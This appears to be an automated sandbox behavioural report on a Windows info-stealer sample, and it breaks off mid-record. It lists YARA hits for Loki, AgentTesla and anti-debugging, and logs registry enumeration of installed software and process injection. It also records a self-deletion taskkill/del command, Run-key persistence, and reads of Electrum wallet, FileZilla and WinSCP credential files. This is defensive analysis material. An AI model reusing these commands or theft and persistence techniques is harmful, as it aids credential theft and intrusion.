description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
description Win32 PWS Loki rule Win32_PWS_Loki_Zero
description Win.Trojan.agentTesla rule Win_Trojan_agentTesla_Zero
description browser info stealer rule infoStealer_browser_Zero
description Take ScreenShot rule ScreenShot
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
Time & API Arguments Status Return Repeated

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
base_handle: 0x80000002
key_handle: 0x000004b8
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE40
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE40
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IEData
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IEData
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Thunderbird 78.4.0 (x86 ko)
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Thunderbird 78.4.0 (x86 ko)
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Office14.PROPLUS
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Office14.PROPLUS
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WIC
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WIC
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{26A24AE4-039D-4CA4-87B4-2F32180131F0}
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{26A24AE4-039D-4CA4-87B4-2F32180131F0}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{4A03706F-666A-4037-7777-5F2748764D10}
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{4A03706F-666A-4037-7777-5F2748764D10}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0011-0000-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0011-0000-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0015-0412-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0015-0412-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0016-0412-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0016-0412-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0018-0412-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0018-0412-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0019-0412-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0019-0412-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001A-0412-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001A-0412-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001B-0412-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001B-0412-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001F-0409-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001F-0409-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001F-0412-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001F-0412-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0028-0412-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0028-0412-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-002C-0412-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-002C-0412-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0044-0412-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0044-0412-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-006E-0412-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-006E-0412-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-00A1-0412-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-00A1-0412-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-00BA-0412-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-00BA-0412-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{939659F3-71D2-461F-B24D-91D05A4389B4}
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{939659F3-71D2-461F-B24D-91D05A4389B4}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{9B84A461-3B4C-40E2-B44F-CE22E215EE40}
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{9B84A461-3B4C-40E2-B44F-CE22E215EE40}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{AC76BA86-7AD7-1033-7B44-A90000000001}
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{AC76BA86-7AD7-1033-7B44-A90000000001}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{BB8B979E-E336-47E7-96BC-1031C1B94561}
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{BB8B979E-E336-47E7-96BC-1031C1B94561}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d992c12e-cab2-426f-bde3-fb8c53950b0d}
base_handle: 0x80000002
key_handle: 0x000004c0
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d992c12e-cab2-426f-bde3-fb8c53950b0d}
1 0 0
Time & API Arguments Status Return Repeated

NtTerminateProcess

 status_code: 0x00000001
process_identifier: 2972
process_handle: 0x0000018c
0 0

NtTerminateProcess

 status_code: 0x00000001
process_identifier: 2972
process_handle: 0x0000018c
1 0 0
cmdline C:\Windows\System32\cmd.exe /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\test22\AppData\Local\5ea8b247-49da-4d2d-af5d-7a88dc570dd2\build2.exe" & del C:\ProgramData\*.dll & exit
cmdline "C:\Windows\System32\cmd.exe" /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\test22\AppData\Local\5ea8b247-49da-4d2d-af5d-7a88dc570dd2\build2.exe" & del C:\ProgramData\*.dll & exit
cmdline taskkill /im build2.exe /f
host 116.202.183.50
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2524
region_size: 1273856
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000080
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2800
region_size: 1273856
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000080
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2972
region_size: 659456
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000080
1 0 0
registry HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\SysHelper reg_value "C:\Users\test22\AppData\Local\057e0315-19ab-4b5f-ac0a-2ac31eb16c86\build.exe" --AutoStart
file C:\Users\test22\AppData\Roaming\Electrum\wallets\??????
file C:\Users\test22\AppData\Roaming\FileZilla\recentservers.xml
registry HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 2524
process_handle: 0x00000080
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 2800
process_handle: 0x00000080
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 2972
process_handle: 0x00000080
1 1 0
Time & API Arguments Status Return Repeated

RegQueryValueExA

 key_handle: 0x000004c0
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: 7-Zip 20.02 alpha
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x000004c0
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Adobe AIR
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x000004c0
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: EditPlus
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x000004c0
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Chrome
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x000004c0
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: ????? ?? 2010
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x000004c0
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Mozilla Thunderbird 78.4.0 (x86 ko)
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Thunderbird 78.4.0 (x86 ko)\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x000004c0
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office Professional Plus 2010
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Office14.PROPLUS\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x000004c0
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Adobe AIR
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x000004c0
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: HttpWatch Professional 9.3.39
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x000004c0
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: ????? ?? 2010
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x000004c0
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Java 8 Update 131
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{26A24AE4-039D-4CA4-87B4-2F32180131F0}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x000004c0
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Java Auto Updater
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{4A03706F-666A-4037-7777-5F2748764D10}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x000004c0
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Google Update Helper
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x000004c0
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office Professional Plus 2010
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0011-0000-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x000004c0
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office Access MUI (Korean) 2010
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0015-0412-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x000004c0
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office Excel MUI (Korean) 2010
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0016-0412-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x000004c0
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office PowerPoint MUI (Korean) 2010
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0018-0412-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x000004c0
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office Publisher MUI (Korean) 2010
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0019-0412-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x000004c0
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office Outlook MUI (Korean) 2010
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001A-0412-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x000004c0
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office Word MUI (Korean) 2010
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001B-0412-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x000004c0
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office Proof (English) 2010
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001F-0409-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x000004c0
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office Proof (Korean) 2010
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001F-0412-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x000004c0
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office IME (Korean) 2010
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0028-0412-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x000004c0
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office Proofing (Korean) 2010
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-002C-0412-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x000004c0
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office InfoPath MUI (Korean) 2010
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0044-0412-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x000004c0
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office Shared MUI (Korean) 2010
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-006E-0412-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x000004c0
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office OneNote MUI (Korean) 2010
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-00A1-0412-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x000004c0
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office Groove MUI (Korean) 2010
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-00BA-0412-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x000004c0
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Adobe Flash Player 13 ActiveX
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{939659F3-71D2-461F-B24D-91D05A4389B4}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x000004c0
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Adobe Flash Player 13 NPAPI
